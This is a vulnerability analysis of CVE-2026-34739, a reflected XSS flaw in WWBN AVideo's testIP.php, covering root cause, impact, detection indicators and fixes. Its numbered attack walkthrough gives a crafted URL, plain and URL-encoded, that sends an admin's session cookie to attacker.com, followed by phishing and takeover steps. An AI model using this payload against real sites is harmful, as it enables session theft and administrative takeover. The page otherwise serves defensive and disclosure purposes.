CVE-2026-34739: 
PHP vulnerability analysis and mitigation

CVE-2026-34739 is a reflected Cross-Site Scripting (XSS) vulnerability in WWBN AVideo, an open source video platform. The flaw exists in the User_Location plugin's testIP.php page, which reflects the ip request parameter directly into an HTML input element without output encoding, allowing injection of arbitrary HTML and JavaScript via a crafted URL. It affects AVideo versions 26.0 and prior, and was published on March 30–31, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, AVideo Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). At plugin/User_Location/testIP.php line 16, the ip parameter is read directly from $_REQUEST['ip'] without sanitization, and at line 34 it is echoed into an HTML <input> element's value attribute without applying htmlspecialchars() or any other encoding. An attacker can break out of the attribute context by injecting a payload such as "><script>alert(document.cookie)</script>. Although the page requires admin authentication, AVideo's SameSite=None session cookie configuration means that when an admin clicks a link from any external origin, their session cookie is automatically included in the request, enabling cross-origin exploitation without requiring the attacker to have any privileges (AVideo Advisory).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript within an authenticated admin's browser session. This can result in theft of the admin session cookie, creation of new admin accounts, modification of site configuration, upload of malicious plugins, or any other administrative action on the AVideo platform. The scope change in the CVSS score reflects that the attacker's payload executes in the victim's browser context, affecting confidentiality and integrity of the admin session and platform data (AVideo Advisory, GitHub Advisory).

A proof-of-concept exploit with step-by-step instructions and crafted URLs is publicly documented in the GitHub Security Advisory, including a complete HTML template for cross-origin exploitation (AVideo Advisory). There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.017% (4th percentile), indicating a low near-term exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify a publicly accessible WWBN AVideo instance running version 26.0 or earlier with the User_Location plugin enabled. Confirm the target admin's email or communication channel.
2. Craft the malicious URL: Construct a URL targeting the vulnerable endpoint with an XSS payload that breaks out of the value attribute, e.g.:

   https://target-avideo.com/plugin/User_Location/testIP.php?ip="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

   URL-encode the payload for embedding in links:

   https://target-avideo.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E

3. Host a lure page: Create an attacker-controlled webpage containing a hyperlink or auto-redirect to the crafted URL, leveraging AVideo's SameSite=None cookie policy to ensure the admin's session cookie is sent cross-origin.
4. Deliver the lure: Send the malicious link to an AVideo admin via email, chat, or social engineering.
5. Capture the session: When the admin clicks the link, their browser loads testIP.php with the injected payload, the XSS executes in their authenticated session, and the session cookie (or other sensitive data) is exfiltrated to the attacker's server.
6. Leverage admin access: Use the stolen session token to authenticate as the admin and perform privileged actions such as creating new admin accounts, uploading malicious plugins, or modifying site configuration (AVideo Advisory).

• Network: HTTP GET requests to /plugin/User_Location/testIP.php containing URL-encoded XSS payloads in the ip parameter (e.g., %22%3E%3Cscript%3E, "><script>); outbound requests from admin browsers to unexpected external domains shortly after accessing the endpoint.
• Logs: Web server access logs showing requests to testIP.php with unusual or encoded values in the ip query parameter; referrer headers pointing to external or unknown domains in requests to the admin page.
• File System: Unexpected new admin accounts created in the AVideo database; newly uploaded or modified plugins in the AVideo plugin directory.
• Process/Application: Unexpected changes to AVideo site configuration or admin account credentials; new admin-level user accounts not created through normal provisioning (AVideo Advisory).

At the time of the advisory's initial publication, no patched version was available; however, a fix has since been referenced via commit WWBN/AVideo@31e6888 in the GitHub Advisory Database (GitHub Advisory). Administrators should update AVideo to a version newer than 26.0 that includes this fix. As interim mitigations: apply htmlspecialchars() to the $ip variable output at plugin/User_Location/testIP.php line 34; change session cookie configuration from SameSite=None to SameSite=Strict or SameSite=Lax to prevent cross-origin cookie transmission; and restrict network access to the testIP.php admin page. Administrators should also conduct security awareness training to discourage clicking unsolicited links (AVideo Advisory).

The vulnerability was discovered and reported by aisafe.io (aisafe-bot) and credited to reporter adrgs, with the advisory published by DanielnetoDotCom on March 30, 2026 (AVideo Advisory). The issue received standard tracking from Red Hat CVE and GitLab advisory databases. No significant broader media coverage or notable community commentary beyond the advisory itself has been identified.